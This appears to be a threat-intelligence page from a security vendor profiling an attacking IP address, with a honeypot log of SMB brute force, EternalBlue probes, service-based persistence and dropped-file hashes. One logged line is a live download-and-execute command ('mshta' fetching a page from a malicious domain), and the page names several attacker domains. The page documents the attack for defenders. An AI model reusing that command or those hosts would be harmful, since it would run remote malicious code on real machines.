Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 39.53.197.98Previously Malicious

IP Address: 39.53.197.98Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Deletion Download and Execute SMB Null Session Login CMD Service Start Download File SMB Share Connect IDS - A Network Trojan was detected Service Configuration Service Stop SMB Execute from Share Service Creation Persistency - Logon Successful SMB Login

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl p.abbny.com pp.abbny.com w.beahh.com

36.37.88.167 196.219.95.172

Basic Information

IP Address

39.53.197.98

Domain

-

ISP

-

Country

Pakistan

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-02-01

Last seen in Akamai Guardicore Segmentation

2023-02-01

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\ejzoYjob.exe was downloaded

Download File

ejzoyjob.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ejzoyjob.exe as a service named fsjO under service group None

Service Start Service Creation

Service fsjO was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named NDMo under service group None

Service Start Service Creation

IDS detected A Network Trojan was detected : WMIC WMI Request Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 5 times

SMB Brute Force Successful SMB Login

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 3 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named wuGW under service group None

Service Start Service Creation

Service wuGW was stopped

Service Stop

The file c:\windows\system32\wmiex.exe was downloaded and executed 3 times

Download and Execute

The file C:\WINDOWS\system32\drivers\taskmgr.exe was downloaded and executed 2 times

Download and Execute

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 6 times

Download and Execute

C:\UViWOOac.exe was downloaded

Download File

Process c:\installed.exe started listening on ports: 65533

Listening

c:\windows\system32\services.exe installed and started \\server-backup\c$\uviwooac.exe as a service named xfFv under service group None

Service Start Service Creation

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

uviwooac.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service xfFv was stopped

Service Stop

The file C:\WINDOWS\Temp\_MEI4882\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\_socket.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\_ssl.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\system32\services.exe installed and started \\server-backup\c$\whhwbsiy.exe as a service named EPgd under service group None

Service Start Service Creation

whhwbsiy.exe was executed from the remote share \\server-backup\c$

Execute from Share

The file C:\WINDOWS\Temp\_MEI4882\_hashlib.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\select.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Cipher._ARC4.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Cipher._DES.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Hash._MD4.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Util.strxor.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Cipher._AES.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\Crypto.Cipher._DES3.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\system32\services.exe installed and started \\server-backup\c$\zcnxufqo.exe as a service named bviE under service group None

Service Start Service Creation

zcnxufqo.exe was executed from the remote share \\server-backup\c$

Execute from Share

The file C:\WINDOWS\Temp\_MEI4882\win32api.pyd was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI4882\pywintypes27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Service bviE was stopped

Service Stop

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

C:\ooBuhpsY.exe was downloaded

Download File

Executable file c:\windows\system32\drivers\svchost.exe was modified

Executable File Modification

c:\installed.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 2 times

Service Start Service Creation

c:\windows\system32\services.exe installed and started \\server-backup\c$\oobuhpsy.exe as a service named Wpen under service group None

Service Start Service Creation

oobuhpsy.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service Wpen was stopped

Service Stop

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

C:\DfRulXlx.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started \\server-backup\c$\dfrulxlx.exe as a service named ypXU under service group None

Service Start Service Creation

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

dfrulxlx.exe was executed from the remote share \\server-backup\c$

Execute from Share

The file C:\WINDOWS\Temp\_MEI30122\python27.dll was downloaded and loaded by c:\windows\temp\_mei30122\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI30122\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei30122\msvcr90.dll

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service ypXU was stopped

Service Stop

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

The file C:\WINDOWS\Temp\_MEI37762\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\WINDOWS\Temp\_MEI4882\Crypto.Util.strxor.pyd

SHA256: 2170b576f5f22d06e700e5570dc234fa5f77c7fe4af8394f0dac49566f9a8b40

7680 bytes

C:\Windows\Temp\_MEI9202\pywintypes27.dll

SHA256: 241ecbd87410e9b23339d494f9eca7ddf8083472661989f489fdd7fe0b8776b4

110080 bytes

C:\WINDOWS\Temp\_MEI4882\Crypto.Cipher._ARC4.pyd

SHA256: 356623219b8c098435d511c0055c061018641d8b700eb089fc6ff87d233260e1

8704 bytes

C:\Windows\Temp\_MEI9202\select.pyd

SHA256: 385e7a3cf5dd7b65590b064e7bc09f901db7ddc8542396af6bb60048a30993f0

11776 bytes

C:\AAWjAHIc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes